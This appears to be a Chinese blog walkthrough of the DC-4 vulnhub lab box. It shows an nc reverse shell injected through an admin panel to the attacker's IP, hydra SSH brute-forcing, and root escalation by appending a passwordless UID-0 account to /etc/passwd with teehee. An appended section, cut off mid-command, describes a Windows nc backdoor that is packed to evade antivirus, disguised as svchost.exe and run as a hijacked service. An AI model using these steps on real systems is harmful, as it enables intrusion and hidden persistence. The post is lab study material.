DC-4 靶机渗透测试
DC-4 渗透测试
冲冲冲,努力学习 。掌握 hydra ,nc反弹shell
记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root
操作机:kali 172.66.66.129
靶机:DC-4 172.66.66.134
网络模式:NAT
信息收集
基于ARP的网络扫描工具netdiscover
ARP是将IP地址转化物理地址的网络协议。
通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机。
使用很简单(扫描本地网络):
netdiscover -r 172.66.66.0/24 //使用本机IP段
netdiscover -r 172.66.66.0/24扫描一下

nmap -sV -A -p- 172.66.66.134 -oN /tmp/DC-4.nmap养成好习惯,把扫描结果保存下来
-A :探测操作系统
-sV :探测版本
-p- :探测0~65535端口开放情况

开了22 、80端口
dirb http://172.66.66.134
dirb 后台扫描器,类似 windows下的御剑后台扫描器。

后台没啥有价值的发现,访问80,是个admin登录框,盲猜账号admin,考虑万能密码、爆破,

bp简单爆破一下得到 admin:happy登录,
谨记我们的任务:拿到shell,再提权到root

登录后台发现可以执行命令,然后呢?

查看源码,猜想radio的value是否可以篡改?点击run的时候submit一个反弹shell过去?抓个包测一下

仿佛看到了希望:改一下radio为nc -e /bin/bash 172.66.66.129 7777
nc -e /bin/bash localhost 端口nc 的
-e选项是绑定cmd或者bash但是原理是什么呢?它怎么实现绑定的?另一个问题,为什么要绑定shell?意义何在?放在末尾回答这个问题(主要是为了留后门)
知乎看到的答案,看不懂就先放着吧
等哪天我回过头来翻笔记的时候,希望我能解决我今天的疑问


由于不确定服务器上的nc时候有-e选项,不过不成功的话就来个替代方案
nc 172.66.66.129 777 |/bin/bash| nc 172.66.66.129 8888

操作机打开俩中端分别监听 7777 8888


shell 反弹回来了。有没有发现,这不是交互的shell,那就整一个交互的出来,
python -c 'import pty;pty.spawn("/bin/bash")'
什么才是交互的?简单的理解是:输入与输出都重定向到了所得到的shell里,可以在命令模式输入命令,可以变量赋值... 那又是什么决定了最后的shell交互式与否?

得到一个陌生shell环境,要干嘛?收集信息。
echo $0、cat /etc/passwd | grep /bin/bash、cat /etc/issue、uname -a、python、php、vim、find / -perm -4000 -type f 2>/dev/null、echo $PATH、cd /home ......

留意一下上面这几个可登录的账号 charles、jim、sam,下面是操作系统和版本号

cd /home 下,只有jim里有个 backups的目录,test.sh的权限跟mbox的权限,反差太大了吧,看一眼test.sh


在backups里看到了个old-passwords.bak

还记得开了22端口和前面passwd文件里的可登录账号吗?后台的admin账号我们已经登录上去了,显然这是ssh的登录账号密码?不要在shell里操作靶机写如文件,不要这样做,不要这样做,账号保存到/tmp/users.txt里,密码另存一下放到 /tmp/passwd.txt 操作机写好,开个python服务器传上去。
cd 到文件目录下再执行
hydra -L users.txt -P passwd.txt ssh://172.66.66.134 -t 5 -vV

爆破结果:jim:jibril04 (登录之后不忘看看基本信息 如sudo -l等)

登录提示 you have mail
linux 的邮件一般放在这个路径 var/mail 或者 /var/spool/mail(软连接) cat 一下看看内容

得到:charles:^xHhA&hvim0y 切换账号

root权限免密码使用teehee ,teehee会用吗?滚去学teehee -a /etc/passwd
当发现有最追加写入文件功能的时候,直接往 /etc/passwd 里加个root用户
passwd的格式:[⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]
echo "axb::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
(不设置密码就是免密码登录了吗?shadow文件没有写入相关信息)

提权到root

收获:
- hydra 会用吗?不会 ......滚回去学 (:_
- 我学完回来了.... -_-
- 不要尝试在目标机上编写文件,自己本地写好,传上去,nc传,python 简单服务器传,都行,就是不要在目标机上写,vi vim退不出来,把shell整没了就裂开。
- kali 里一个神奇的目录:
/usr/share/wordlists里面有个各种各样的字典,很多工具的字典都软连接到了里面。进去多用| grep筛选一下自己想要的内容。- 如果有root权限,能写入文件的话,考虑在 /etc/passwd 下加一个root账号,直接登录就可以了。
- teehee提权?这命令啥东西? 注意一个用法, echo 内容 | 写入目标文件 ,多用管道符。
hydra
-R 根据上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定密码破解
-P 指定密码字典(文件)
-e 空密码探测和指定用户密码探测(ns)
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
server 目标IP
service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)
nc制作简单后门
首先请准备好不被杀的nc.exe(随便加个壳就可以了的),还有sc.exe(这个是操作服务的一个小工具,被人称为操作服务的军刀),这些就可以打造我们自己的后门了,后门的要求我想不需要很强的操作功能,只需要当我们连接的时候获得一个system权限的shell就可以了,有了cmdshell做什么不可以呢。如果你需要反弹的后门,也可以做到,自己注册个域名就可以用nc反弹了,因为比较复杂这里就不说了。我们知道nc就是实现我们的后门功能的最经典的工具,我们来看看nc的帮助,命令行下输入nc -h就可以看到,我们主要用到的几个参数如下:
-e 绑定一个程序并且连接时执行
-l 监听模式
-p 指定nc要运行的本地端口
-L 增强了的监听模式,当连接断开时再次监听
至于其他的用法相信各位已经很了解了的,我们以前经常用到的是
nc -l -e cmd.exe -p 8888 \监听8888端口,当有连接时重定向到cmd.exe实现绑定一个shell\
这样的形式用serveru等溢出程序执行后来绑定一个可以得到shell的端口8888,我们telnet或者nc连接上来的时候就可以直接获得一个shell。但是这样连接断开之后监听的端口就会关闭,是一次性的,不能再次获得shell,这样当然不适合于做后门了。后来发现nc的这个参数L可以一直保持监听的状态,可以反复连接。用
nc -L -e cmd.exe -p 8888 \也是绑定的,不过加强了的\
这样的命令就已经达到我们的目的了,但是我们往往是在溢出的shell里工作,留后门是为了以后的进入,那我们如何保证nc再机器重起之后还可以工作从而实现我们的后门的目的呢?你可以把他放到注册表的Run等启动项下面,但是感觉那样不是太好,有些地方已经被杀毒软件盯上了,把我的后门放到那里实在不是很放心,后来想到干脆作成服务吧!随着系统启动而启动,呵呵。那就看看如何打造服务吧!
首先我们将nc.exe放到%systemroot%\system32下面,起名叫svch0st.exe或者放到%systemroot%\system下面更名叫svchost.exe,这样的目的是为了在任务管理器里看不出异样。然后用sc替换系统的服务,不用改别的,只要修改他的执行路径就可以了,我们就改那个clipsrv.exe服务吧!命令如下:
sc config clipsrv start= auto \将clipsrv.exe服务设置为自动\
sc config cli
DC-4 靶机渗透测试的更多相关文章
- DC-1 靶机渗透测试
DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...
- DC-5 靶机渗透测试
DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...
- DC-2 靶机渗透测试
DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...
- DC-9 靶机渗透测试
DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...
- DC-7 靶机渗透测试
DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...
- DC-8 靶机渗透测试
DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...
- DC-6 靶机渗透测试
DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- vulnhub-DC:7靶机渗透记录
准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...
随机推荐
- WEB 三维引擎在高精地图数据生产的探索和实践
1. 前言 高精地图(High Definition Map)作为自动驾驶安全性不可或缺的一部分,能有效强化自动驾驶的感知能力和决策能力,提升自动驾驶的等级.对于自动驾驶来说,高精地图主要是给机器用的 ...
- 如何回答面试中问到的Hibernate和MyBatis的区别
这边主要是写给那些准备去面试的(没什么经验的)应聘者看的,为了在面试中更好的回答这个问题,我做一个简单的梳理和总结. 作为一名职场新人,经历过多次的面试,由于在简历中提及了Hibernate和MyBa ...
- 『心善渊』Selenium3.0基础 — 9、使用Seleniun中的By类定位元素
目录 1.使用By定位的前提 2.By定位的方法 3.By定位的使用 4.复数形式的示例 我们还可以通过Seleniun测试框架中的By类,来实现页面中的元素定位. 1.使用By定位的前提 需要导入B ...
- Dagger2入门,以初学者角度
2016-12-21 更新:添加@Subcomponent注解以及Lazy与Provider的使用,本文基本完结!如果有好的建议请提出,感谢大家的支持,谢谢 依赖注入 Dagger2是Android中 ...
- keycloak~OIDC&OAuth2&自定义皮肤
1 OpenID & OAuth2 & SAML 1.1 相关资料 https://github.com/keycloak/keycloak https://www.keycloak. ...
- 如何使用原生的Feign
什么是Feign Feign 是由 Netflix 团队开发的一款基于 Java 实现的 HTTP client,借鉴了 Retrofi. JAXRS-2.0.WebSocket 等类库.通过 Fei ...
- 在docker的镜像中安装vim
在使用docker容器时,有时候里边没有安装vim,敲vim命令时提示说:vim: command not found,这个时候就需要安装vim,可是当你敲apt-get install vim命令时 ...
- Java实验项目六——使用DAO模式实现对职工表的操作
Program: 利用JDBC访问职工信息表,实现对职工信息的添加.更新.删除.按照职工号查找.查找全部职工的功能. Description:在这里我采用了DAO设计模式完成对职工表的操作,下面介绍一 ...
- python使用笔记22--mock接口开发
1.mock接口开发 mock是模拟一个接口的意思 为了不阻止测试,开发一个接口,返回你想要的数据,模拟各种场景 需要安装第三方模块flask,flask是web轻量级开发框架 1.1 flask p ...
- RPC远程协议之Thrift入门
在上一篇文章<RPC远程协议之原理分析>中,我介绍了RPC的工作原理及欲实现RPC框架功能应该做哪些事情,因为要做的事情太多,完全由开发人员研发实现,不是很现实,所以市面上出现了诸多RPC ...
